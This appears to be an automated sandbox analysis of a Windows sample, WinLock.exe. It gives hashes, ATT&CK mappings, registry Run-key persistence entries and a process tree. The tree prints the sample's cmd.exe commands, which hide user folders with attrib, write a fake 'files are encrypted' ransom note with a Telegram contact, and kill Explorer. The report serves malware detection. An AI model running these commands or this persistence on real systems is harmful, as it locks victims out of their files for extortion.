204d5322b20d14bca4edb42e825a014cbfd0fde1b7321753d115222ab7b53bce

Analysis

user interaction
yes
max time kernel
33s
max time network
32s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-uk
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-uklocale:uk-uaos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 18:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 208KB
Sample260810-w7garazzfx
SHA256 204d5322b20d14bca4edb42e825a014cbfd0fde1b7321753d115222ab7b53bce
MD5 ae41677fd895c5bb6d83a4e85c264c80
SHA1 471ede401e9ad6c77e5b75e380edfae4cb01d90c
SHA512 e349c214c8b796fa2488f8fc71f050a210884de1ada8fb5fca55679097f5db1425e8b2df4d19efb87123b4e5b47d570913f0c98740ef08a4144f8ad15f90dc9f
SSDEEP 6144:8t8A/ehUOqxaPBC7nRtpUSPbDddWSCpMW90KImQiXnhbLew:8mAwUOqxaPA7jrvj
TLSH
T183244A9813AB897DD63D233ED0A1120507F46227C503E35E9EE5E4F95F2B312AB12B97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4756	cmd.exe
3872	cmd.exe
1064	cmd.exe
4668	cmd.exe
872	cmd.exe
4692	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1252	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4448	WinLock.exe
4448	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4448	WinLock.exe
Token: SeDebugPrivilege	1252	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 1064	4448	WinLock.exe	94
PID 4448 wrote to memory of 3872	4448	WinLock.exe	95
PID 4448 wrote to memory of 4756	4448	WinLock.exe	96
PID 4448 wrote to memory of 4692	4448	WinLock.exe	97
PID 4448 wrote to memory of 872	4448	WinLock.exe	98
PID 4448 wrote to memory of 4668	4448	WinLock.exe	99
PID 4448 wrote to memory of 1252	4448	WinLock.exe	100
PID 4756 wrote to memory of 3592	4756	cmd.exe	116
PID 872 wrote to memory of 3456	872	cmd.exe	117
PID 4668 wrote to memory of 5840	4668	cmd.exe	118
PID 1064 wrote to memory of 5972	1064	cmd.exe	119
PID 3872 wrote to memory of 2028	3872	cmd.exe	120
PID 4692 wrote to memory of 3652	4692	cmd.exe	121
PID 872 wrote to memory of 3260	872	cmd.exe	122
PID 3872 wrote to memory of 4276	3872	cmd.exe	123
PID 4756 wrote to memory of 3996	4756	cmd.exe	124
PID 1064 wrote to memory of 3960	1064	cmd.exe	125
PID 4668 wrote to memory of 5672	4668	cmd.exe	126
PID 4692 wrote to memory of 1556	4692	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3456	attrib.exe
3260	attrib.exe
5972	attrib.exe
5840	attrib.exe
3960	attrib.exe
1556	attrib.exe
3592	attrib.exe
2028	attrib.exe
3652	attrib.exe
4276	attrib.exe
3996	attrib.exe
5672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5972
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3592
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3652
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3456
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @passis1234 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5840
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5672
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1252

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:3112

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 78B
SHA256 277a010062402780d0df0775d2a87a15803882d25ecb2f6d6da17e61b0a75d19
MD5 1c9304c06f10aeb63186eb1413d46506
SHA1 9078b7d559358f8b14e0a451c49b517373390e87
SHA512 cff4aba69592df6de07acccdfe09cef6efbdd7e031b8bcc9624c076c1ca6b2d790dd0275963c9d89e06841a26971ea16686fc2e1fe41b816efe499a5b8352936
TLSH
T1AEA012082C185554202032F23431601015AA941D70132880411000D6002048434EA414
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3112-12-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/3112-15-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/3112-14-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/3112-13-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-5-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-0-0x00007FFCC4F3F000-0x00007FFCC4F40000-memory.dmp

Download

memory/4448-7-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-8-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-9-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-10-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-11-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-6-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-4-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-3-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-2-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-1-0x00000000009B0000-0x00000000009EA000-memory.dmp

Download

memory/4448-31-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-32-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-33-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download

memory/4448-34-0x00007FFCC4DB0000-0x00007FFCC5754000-memory.dmp

Download